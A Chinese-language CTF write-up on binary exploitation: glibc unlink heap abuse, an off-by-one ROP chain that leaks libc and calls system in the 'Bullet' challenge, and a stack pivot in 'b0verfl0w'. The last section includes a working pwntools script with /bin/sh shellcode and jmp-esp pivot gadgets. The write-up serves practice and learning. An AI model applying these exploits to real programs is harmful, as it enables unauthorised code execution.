CTF | 2016 ZCTF note2

2016 ZCTF note2 writeup 关于 unlink 利用 unlink 来复习一下 unlink。。 控制堆块的 fd,bk 指针 FD=P->fd BK=P->bk FD->bk = BK BK->fd = FD 64位: fd = &P-0x18 bk = &P-0x10 效果: P = &P-0X18 32 位 fd = &p-12 bk = &p-8 效果: p =&p-12 可以好好看一下 unlink 宏 #define unlink(AV, P, BK, FD) { \ if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ malloc_printerr ("corrupted size vs. prev_size"); \ FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk !...

Bullet

注意stack或是struct的layout 漏洞strncat(bullet->desc,buf,MAX - bullet->power); 这样首先create长度为47的bullet,通过power_up 再增加一个power 此时bullet长度为48 通过strnact 最后还会赋值 null ,因此造成溢出,power會從\x2f蓋成\x00 又因为 power = strlen(power) + power 所以最后power为1 杀死gin才会触发return; 再次powerup的时候,由于len和char间没有\0,strncat会连接到len的后面,从而改写len并rop. 注意payload 中不能有null 由於程式本身有NX保护,必須使用ROP控制程式行為 但許多address因包含null byte,這些address無法被strncat複製到buffer上,因此覆寫main frame的return address時最多只能使用ROP執行某些gadgets。 再做一次 power_up() 就可以修改掉 power 的值並 overflow 到 main() 的 return address 最後把 power 改超大殺死 Werewolf 就可以触发 return ,而我们通过溢出修改 return 处的栈帧达到我们的目的 首先要泄露libc 的基址,从而得到system和 bin/sh 的地址,这里借用puts 函数 然后再触发system 函数 所以需要利用两次漏洞,第一次漏洞利用时返回地址应该是 main 。 内置的ROP怎么用 怎么查看 main的 return address是在overflow之後7個bytes 呢???看了半天 使用pattern search 可以算出offset 终于可以写payload了 但是我输入了\xff\xff\xff 为什么就是打不败呢?? 这是别人的步骤: step1:创建银弹,长度47 step2:补充银弹,长度1 step3:补充银弹,长度47 |\xff * 3| + | junk(四字节)| + | put_addr | + | main_addr | + | got表中存储read的位置| step4:调用beat,打败werewolf step5:函数返回,调用puts,获得read()函数地址,并据此计算出libc基址,以及system、binsh地址等 step6:函数再次执行main,重复step1、step2 step7:补充银弹,长度47 |\xff * 3| + | junk(四字节)| + | system_addr | + |junk(四字节)| + |bin_sh_addr|...

b0verfl0w

stack privot 题目 溢出的字节就只有50-0x20-4=14个字节,所以我们很难执行一些比较好的ROP。这里我们就考虑stack privot。 基本利用思路如下 利用栈溢出布置shellcode 控制eip指向shellcode处 第一步,还是比较容易地,直接读取即可,但是由于程序本身会开启ASLR保护,所以我们很难直接知道shellcode的地址。但是栈上相对偏移是固定的,所以我们可以利用栈溢出对esp进行操作,使其指向shellcode处,并且直接控制程序跳转至esp处。那下面就是找控制程序跳转到esp处的gadgets了。 ROPgadget --binary b0verfl0w --only 'jmp|ret' size(shellcode+padding)=0x20 size(fake ebp)=0x4 size(0x08048504)=0x4 所以我们最后一段需要执行的指令就是 sub 0x28,esp jmp esp Memory layout: | Shellcode | Offset | 0x08048504 | Shellcode to perform stack pivoting | from pwn import * sh = process('./b0verfl0w') shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; padding = 'a'*13 jmp_esp = 0x08048504 sub_esp_jmp = asm('sub esp,0x28;jmp esp') payload = shellcode+padding+p32(jmp_esp)+sub_esp_jmp sh.sendline(payload) sh.interactive() 我不明白既然有了 asm(‘sub esp,0x28;jmp esp’) 为什么还需要直接跳转到esp的gadgets。 解释:我们就可以借由jmp esp将执行流转移到栈上执行。而转移到栈上执行后,我们还需要对esp减上偏移(在返回地址时esp已经和ebp指向同一个地址),使之转移到我们的buf中继续执行,而buf中我们事先就输入好了shellcode,那么我们在劫持完成后便可以获得一个shell...